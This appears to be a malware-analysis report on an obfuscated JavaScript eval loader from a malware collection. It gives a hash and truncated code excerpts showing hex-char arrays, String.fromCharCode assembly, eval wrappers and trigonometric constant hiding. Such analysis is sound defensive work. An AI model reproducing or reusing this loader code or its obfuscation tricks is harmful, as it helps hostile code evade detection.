Suspicious ^80% javascript-malware-collection Download

20151214_8f66122a463d21202fc60432da686335.js

obfuscated eval loader

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-25692ac786584e844b049174fc3bff693bda0bcae4a48a1497919b67e6e47be0894

Evidence

Single-line packed JavaScript loader profile lines 1–2

1var Z=new Array();
2m(Z,"\x46");m(Z,"\x50");m(Z,"\x5d");m(Z,"\x5e");m(Z,"\x37");m(Z,"\x69");m(Z,"\x64");m(Z,"\x77");m(Z,"\x30");m(Z,"\x64");m(Z,"\x6c");m(Z,"\x38");m(Z,"\x76");m(Z,"\x4a");m(Z,"\x31");m(Z,"\x5f");m(Z,"\x2a");m(Z,"\x34");m(Z,"\x7b");m(Z,"\x64");m(Z,"\x78");m(Z,"\x28");m(Z,"\x50");m(Z,"\x2b");m(Z,"\x4e");m(Z,"\x4a");m(Z,"\x37");m(Z,"\x51");m(Z,"\x73");m(Z,"\x40");m(Z,"\x75");m(Z,"\x6a");m(Z,"\x70");m(Z,"\x2b");m(Z,"\x30");m(Z,"\x5d");m(Z,"\x31");m(Z,"\x68");m(Z,"\x20");m(Z,"\x33");m(Z,"\x73");m(Z,"\x4a");m(Z,"\x3b");m(Z,"\x2b");m(Z,"\x65");m(Z,"\x6e");m(Z,"\x40");m(Z,"\x6f");m(Z,"\x2b");m(Z,"\x7b");m(Z,"\x4f");m(Z,"\x6d");m(Z,"\x43");m(Z, …

0xff hex byte token line 3

3:199… xbf,0xc3,0xcb,0xd0,0xd2,0xd9,0xdd,0xe1,0xea,0xef,0xf3,0xf8,0xfb,0xff,0x105,0x10b,0x112,0x114,0x11a,0x11d,0x122,0x12b,0x12e,0x133,0x137,0x13f,0x140,0x148,0x14d,0x151,0x157,0x15d,0x160,0x163,0x169,0 …

Builds characters with String.fromCharCode line 4

4:242… 40],Z[41],Z[42],Z[43],Z[44],Z[45],Z[46],Z[47],Z[48],Z[49],Z[50],String.fromCharCode(10),Z[51],Z[52],Z[53],Z[54],Z[55],Z[56],Z[57],Z[58],Z[59],Z[60],Z[61],Z[62],Z[63],String.fromCharCode(13),Z[64],Z[65],Z[66],Z[6 …

Calls JavaScript toString conversion method lines 6–8

6:35… ErMBoc,HmdAWXgG){HUib=parseInt(tQnKZGNXFFI,vuSyRJWErMBoc);DlEkL=HUib.toString(HmdAWXgG);return DlEkL;}function NCPiDbeSlFQLGqY(GZvcPwsglmmIiYObu,qUqWrKOTrGnYsoMoIMbyauKaaAEWzeYWUw,OZLeCgaThXbbsAblUAHwKVbpWXbxJDbwSnL){eval(GZvcPwsglmmIiYObu)}
7function NCPiDbeSlFQLGqY(GZvcPwsglmmIiYObu){eval(GZvcPwsglmmIiYObu)}
8function ZARcZHmAZmZjiRKSVShQHyBzZFlLFtiqybDrGoreEigFG …

Numeric sine-square obfuscation expression lines 13–15

13:13… ,A];
14var dBFxBHiWI=[];
15function FLtlYgloRhyVfdPTc(scqYL){qRVgwfMnCxb= Z[1735];for(XyJPZSDAhLL=Math.round((Math.pow(Math.sin(8), 2) + Math.pow(Math.cos(8), 2) - 1)); XyJPZSDAhLL < (621+603)/612; XyJPZSDAhLL++) {dBFxBHiWI[XyJPZSDAhLL]=Math.round((Math.pow(Math.sin(348), 2) + Math.pow(Math.cos(348), 2) - 1)); while(true) { if(dBFxBHiWI[XyJPZSDAhLL] > scqYL[XyJPZSDAhLL].length-(-104+406)/302) { break; } if (ZLrMgmC(JMBJI(scqYL[XyJPZSDAhLL][dBFxBHiWI[XyJPZSDAhLL]],(6812+3 …